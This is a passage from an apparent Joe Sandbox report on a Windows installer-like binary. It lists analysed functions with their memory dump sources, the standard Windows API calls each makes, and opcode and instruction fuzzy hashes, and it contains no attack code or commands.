                                          • Instruction Fuzzy Hash: CE41F971F109200AF3488E6A8C855667FC3C7C9346B4AC33DD575C76D9DABDC44782A4
                                          Function 6CAB0A52 Relevance: 4.7, APIs: 1, Strings: 1, Instructions: 1212COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: W
                                          • API String ID: 3519838083-655174618
                                          • Opcode ID: ea00faa881669fc0c82860575f49db2074e6a46241474c433f0857494c018303
                                          • Instruction ID: ca44d7fb92b30c9d8fdf5ab86611853b0aa862804b3c8c651c1f8e41247da677
                                          • Opcode Fuzzy Hash: ea00faa881669fc0c82860575f49db2074e6a46241474c433f0857494c018303
                                          • Instruction Fuzzy Hash: 03B27D70A01259DFDB01CFA8C584BAEBBB8BF09308F284099E945EB751C775ED85CB60
                                          Function 6CA30181 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6CA30279
                                          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6CA30283
                                          • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 6CA30290
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                          • String ID:
                                          • API String ID: 3906539128-0
                                          • Opcode ID: 0f0a65abc6dfc4900a5837752124317c6830a8e49625c1a1a017147e95c05cba
                                          • Instruction ID: 40c3faa4fa57dfd20bbc4449673c4854013122d859e54d303b17a16da983e27b
                                          • Opcode Fuzzy Hash: 0f0a65abc6dfc4900a5837752124317c6830a8e49625c1a1a017147e95c05cba
                                          • Instruction Fuzzy Hash: B031C47590122D9BCB21DF68D9887CDBBB8BF08314F5042DAE41DA7250EB749BC58F44
                                          Function 6CA2F17D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentProcess.KERNEL32(?,?,6CA2F235,?,?,?,?), ref: 6CA2F19F
                                          • TerminateProcess.KERNEL32(00000000,?,6CA2F235,?,?,?,?), ref: 6CA2F1A6
                                          • ExitProcess.KERNEL32 ref: 6CA2F1B8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: Process$CurrentExitTerminate
                                          • String ID:
                                          • API String ID: 1703294689-0
                                          • Opcode ID: d76171d5126db7147f22ef776e325d7e9aa44d213720fee42d29759d13a2db3d
                                          • Instruction ID: 32ebcebbab23adb736e2dc163860c18e069d6a577c1952bd702e2bd2bbdbebb6
                                          • Opcode Fuzzy Hash: d76171d5126db7147f22ef776e325d7e9aa44d213720fee42d29759d13a2db3d
                                          • Instruction Fuzzy Hash: 7AE04632100228AFCF066F64CD08A893F38FB86256B888418F908C6620CB39D9D2CB40
                                          Function 6CAA4896 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 333COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CAA489B
                                            • Part of subcall function 6CAA5FC9: __EH_prolog.LIBCMT ref: 6CAA5FCE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: @ K
                                          • API String ID: 3519838083-4216449128
                                          • Opcode ID: 2aafbb27e948f5792f5f0ae65a5e3f4f4742fa89f16e976c1927d8ca4eeab830
                                          • Instruction ID: 26cc34b1ca8df6ae7aebe9829d750349fdd10e88526f5fc59106cde28d653bf7
                                          • Opcode Fuzzy Hash: 2aafbb27e948f5792f5f0ae65a5e3f4f4742fa89f16e976c1927d8ca4eeab830
                                          • Instruction Fuzzy Hash: 0AD1CE71D042089BDB14CFE9C5907EEB7B6FB84318F28912AF415ABA84CF7498C6CB55
                                          Function 6CA58EA1 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 246COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: x=J
                                          • API String ID: 3519838083-1497497802
                                          • Opcode ID: c284c417a2f68c1c742bc951fc924e558872fa0b35763257f7574c1e26c9a400
                                          • Instruction ID: a8c0c30c97286a522efe9dffa23cd0393906a18ff31b71326b14377f7b5f603c
                                          • Opcode Fuzzy Hash: c284c417a2f68c1c742bc951fc924e558872fa0b35763257f7574c1e26c9a400
                                          • Instruction Fuzzy Hash: 519112B1D112199ADF04DFB5DA809EDB7B2BF05308FA4C02AD4516BA50DB3259EFCB50
                                          Function 6CA26A43 Relevance: 3.3, APIs: 2, Instructions: 302COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 6CA278B0
                                          • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CA280D3
                                            • Part of subcall function 6CA29379: RaiseException.KERNEL32(E06D7363,00000001,00000003,6CA280BC,00000000,?,?,?,6CA280BC,?,6CA5554C), ref: 6CA293D9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ExceptionFeaturePresentProcessorRaisestd::invalid_argument::invalid_argument
                                          • String ID:
                                          • API String ID: 915016180-0
                                          • Opcode ID: d1e56ee8143a91e50c8082e8413253046b7029057773d25bc872d1c2b198e105
                                          • Instruction ID: c8a8b4dd3063864030e1fa67db2c32bc0c3f253b60f51fdd10ff788f5a85ae96
                                          • Opcode Fuzzy Hash: d1e56ee8143a91e50c8082e8413253046b7029057773d25bc872d1c2b198e105
                                          • Instruction Fuzzy Hash: 31B19272E052199FDB05CF55C8816ADBBB9FB49314F2C826AE425E7B84D33C9588CF90
                                          Function 6CAC2521 Relevance: 2.6, APIs: 1, Instructions: 1105COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID:
                                          • API String ID: 3519838083-0
                                          • Opcode ID: 9c3421dad5d14781272ec358f91f3a3ab5cfaafabcf0205709a2c9463218eeaf
                                          • Instruction ID: 050578a43b304cac6341a5c133751c9c48d97d368d5288d72078880334f17385
                                          • Opcode Fuzzy Hash: 9c3421dad5d14781272ec358f91f3a3ab5cfaafabcf0205709a2c9463218eeaf
                                          • Instruction Fuzzy Hash: A1B29B30A05658CFDB21CF69C584BDEBBF1BF04308F184699D49AA7A41DB70A9C9CF52
                                          Function 6CA58972 Relevance: 2.6, Strings: 2, Instructions: 91COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @4J$DsL
                                          • API String ID: 0-2004129199
                                          • Opcode ID: 9b82dfd3553fe836d7aa24bd6b5882a619f6ea42a248f1f14d7e615b1deddf65
                                          • Instruction ID: e1a026c5a7e29890746b89e85b34570136000e024adf36dea9c08c9f64958393
                                          • Opcode Fuzzy Hash: 9b82dfd3553fe836d7aa24bd6b5882a619f6ea42a248f1f14d7e615b1deddf65
                                          • Instruction Fuzzy Hash: 9C2191376A49564BD74CCA68DC33EB93681E745305B88527EE95BCB7D1DF6C8800C648
                                          Function 6CA60BCA Relevance: 1.7, APIs: 1, Instructions: 201COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: __aullrem
                                          • String ID:
                                          • API String ID: 3758378126-0
                                          • Opcode ID: d1b669466a100d6f0f6c84f42758606c7eb5b4ffe16e73214497a835af333093
                                          • Instruction ID: 5b203109a2ddda7ccfde1ad1580092b3dfb0005976f925b6d664338648e60c32
                                          • Opcode Fuzzy Hash: d1b669466a100d6f0f6c84f42758606c7eb5b4ffe16e73214497a835af333093
                                          • Instruction Fuzzy Hash: 3951E871A04285DBD710CF5AC4C02EEFBE6EF79214F28C05EE8C897242D27A59DAC760
                                          Function 6CAF6999 Relevance: 1.6, Strings: 1, Instructions: 324COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @
                                          • API String ID: 0-2766056989
                                          • Opcode ID: b4ce60841bca8fd945d7956f1acfe73c36a86ce5a82225692ce6a5b8030d2b38
                                          • Instruction ID: af62324d81447c9577d9c416005981cae453a54926d55630add5febfd8d50829
                                          • Opcode Fuzzy Hash: b4ce60841bca8fd945d7956f1acfe73c36a86ce5a82225692ce6a5b8030d2b38
                                          • Instruction Fuzzy Hash: 0DD13E729083148FC758DF4AD44005BF7E2BFC8314F1A892EF899A7315DB70A9568BC6
                                          Function 6CACAB90 Relevance: .9, Instructions: 940COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c5d8fce23cbaa16ca4a411120887c85bd9f222070fcab5a8c777e9c9c2b1bfe3
                                          • Instruction ID: 6d4ee2af2917b02a845cb15180338e6c8307e4eca96aeef27d0a692a93ea30d3
                                          • Opcode Fuzzy Hash: c5d8fce23cbaa16ca4a411120887c85bd9f222070fcab5a8c777e9c9c2b1bfe3
                                          • Instruction Fuzzy Hash: 70727BB1A042168FD748CF28D490268FBE1FB88314B5A47ADD95ADB742DB31E8D5CBC1
                                          Function 6CAEA930 Relevance: .7, Instructions: 740COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: bb173c08d896bf76c8f12b9495eb2c2eeed1eb95d4f1202fd14126b970d45cbc
                                          • Instruction ID: cc56652489007476f7836ba1e4d1b9e775e78ea718be0c4ccca5d74e774d81e2
                                          • Opcode Fuzzy Hash: bb173c08d896bf76c8f12b9495eb2c2eeed1eb95d4f1202fd14126b970d45cbc
                                          • Instruction Fuzzy Hash: 0B6204B1A083458FC714CF19D58061AFBF2BFC8744F288A2EE89987715D770E885DB96
                                          Function 6CAE8950 Relevance: .7, Instructions: 697COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a58f6c5b0b87d5f12fe17b5b5b78f65cee349bf84e9962db46f9d84bc39cd103
                                          • Instruction ID: fc7288f9a308cb420566ee3876ef433a1820cab0c2db87282526fe43cd9bef7d
                                          • Opcode Fuzzy Hash: a58f6c5b0b87d5f12fe17b5b5b78f65cee349bf84e9962db46f9d84bc39cd103
                                          • Instruction Fuzzy Hash: 65428031604B058FD364DF69C9907AAB3E2FF88314F044A2EE596C7B94E774E589CB81
                                          Function 6CAE4489 Relevance: .5, Instructions: 519COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: dc8004adaa3259f52bc6ab735d8be8844deca4391a1dba6202427b66ce1407bc
                                          • Instruction ID: 7acfd1d81eba9add18e1f472267f13c1e4632ca2345577ecb08c4d6e0270ec28
                                          • Opcode Fuzzy Hash: dc8004adaa3259f52bc6ab735d8be8844deca4391a1dba6202427b66ce1407bc
                                          • Instruction Fuzzy Hash: 51020773A0836147D714CE5ECC80219B7E7FBC4390F5A4A2EE8D547B94DAB09986D7C1
                                          Function 6CAE4AA0 Relevance: .5, Instructions: 474COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f4c3878cdf6dda1e5ca36c24f377bc52bcf6993d29949e9196dea34e7f5de905
                                          • Instruction ID: 7a9eb4430e9661a95c41ee7a0d41200960105f4872fd1dd2417e45059f7782f7
                                          • Opcode Fuzzy Hash: f4c3878cdf6dda1e5ca36c24f377bc52bcf6993d29949e9196dea34e7f5de905
                                          • Instruction Fuzzy Hash: 5A022932A083218FC319CE6DC490259BBF6FBC8355F194B2EE49697A94D77498C4DBC2
                                          Function 6CAEE600 Relevance: .5, Instructions: 470COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 04f499f9e3d4c93c3ee3b28235ad2abed55ba3d5e2a4d0777d40b1e79efdc42e
                                          • Instruction ID: 485425e819f14996374036b76322db06e01503b37669a45232633f8c13793681
                                          • Opcode Fuzzy Hash: 04f499f9e3d4c93c3ee3b28235ad2abed55ba3d5e2a4d0777d40b1e79efdc42e
                                          • Instruction Fuzzy Hash: 5512D230604B618FC324CF2EC494626FBF2BF89305F188A6ED1D687A95D735E588DB91
                                          Function 6CAD6D10 Relevance: .4, Instructions: 429COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 70a9c9e80daef2df3b25ccf8549349f6a1d4fdfd7731b9f920c9a3da36d7342a
                                          • Instruction ID: f5eab164e641dce677fa6bcdf8da812d4e687ccecbddf012dce2b0c4b8767516
                                          • Opcode Fuzzy Hash: 70a9c9e80daef2df3b25ccf8549349f6a1d4fdfd7731b9f920c9a3da36d7342a
                                          • Instruction Fuzzy Hash: 5FE1FF71704B018BE728CE29D4603AAF7E2EBC4314F594E2DD596C7B81DB35B58ACB81
                                          Function 6CAEEBC0 Relevance: .4, Instructions: 399COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2bbd660b0b6b3ed67628fad2252f6cf995a3246cee064cb0bfa737aff63ec289
                                          • Instruction ID: c6236da7087179376587756dd9d762131ad8874c1d317131168f46ae3317d69c
                                          • Opcode Fuzzy Hash: 2bbd660b0b6b3ed67628fad2252f6cf995a3246cee064cb0bfa737aff63ec289
                                          • Instruction Fuzzy Hash: 31F1B170608B518FC328CF2DD490266FBF2AF89305F184A6ED1D6CBA91D339E594DB91
                                          Function 6CAEC8D0 Relevance: .4, Instructions: 383COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b0f25bae375294626f84eebbb02985cc894b79d37dbce9afd4d280b88824898c
                                          • Instruction ID: ffcc73c8fc1a940e9363fc9542d8002d414d53f131f75326185f2baafc222f7b
                                          • Opcode Fuzzy Hash: b0f25bae375294626f84eebbb02985cc894b79d37dbce9afd4d280b88824898c
                                          • Instruction Fuzzy Hash: 63F1B2705087618BC329DF2DC490266FFF2BF89308F188A2ED5D687A81D379E195DB91
                                          Function 6CAD6900 Relevance: .3, Instructions: 341COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2d001f70021adf80f04e27e8359f5713b9c218b059c1a64901c9b96791ed9031
                                          • Instruction ID: 23ec6af1596a3cb6c8b9c14a18bff3782ff775425e50ca813d52c7c94bc03fdc
                                          • Opcode Fuzzy Hash: 2d001f70021adf80f04e27e8359f5713b9c218b059c1a64901c9b96791ed9031
                                          • Instruction Fuzzy Hash: 5CC1A071604B068BE328CF2DD4906AAB7E2FBC4314F568E2DC1A6C7B55D670F499CB81
                                          Function 6CAF4DE0 Relevance: .3, Instructions: 333COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ec689b497c358338b72b358a92d889533f653208c8e8c7d7476938d601be6615
                                          • Instruction ID: 2f05c5567114ef345f4d980ac625713528af4553a4b1f702cd098170911e6c4f
                                          • Opcode Fuzzy Hash: ec689b497c358338b72b358a92d889533f653208c8e8c7d7476938d601be6615
                                          • Instruction Fuzzy Hash: 04E1E6B18047A64FE398EF5CDCA4A3577A1EBC8300F4B427DDA650B392D734A942DB94
                                          Function 6CAD2580 Relevance: .3, Instructions: 316COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ae4b2f2b70234ac2bedfdde99fbf7177c16b95a6c2c71cfcccbd0d12063c7eec
                                          • Instruction ID: eb0eba94bf9e9ea819c7c5c5ec9eb674558f8392031d7d13cf8242948fd222ee
                                          • Opcode Fuzzy Hash: ae4b2f2b70234ac2bedfdde99fbf7177c16b95a6c2c71cfcccbd0d12063c7eec
                                          • Instruction Fuzzy Hash: F5C1E2352047418BC718CE3ED1A4296BBE2EFDA314F158A6DC4CA4BB55DA30B88ECB55
                                          Function 6CADE4D0 Relevance: .3, Instructions: 307COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 070d0fd322238de923fe1a2eebb0020640b7b085cfb472be6ac79834afb9933a
                                          • Instruction ID: 854e543fe1254824fbf22d191718305ce0b4a476aaab08b2b3f7149c8a77ca5c
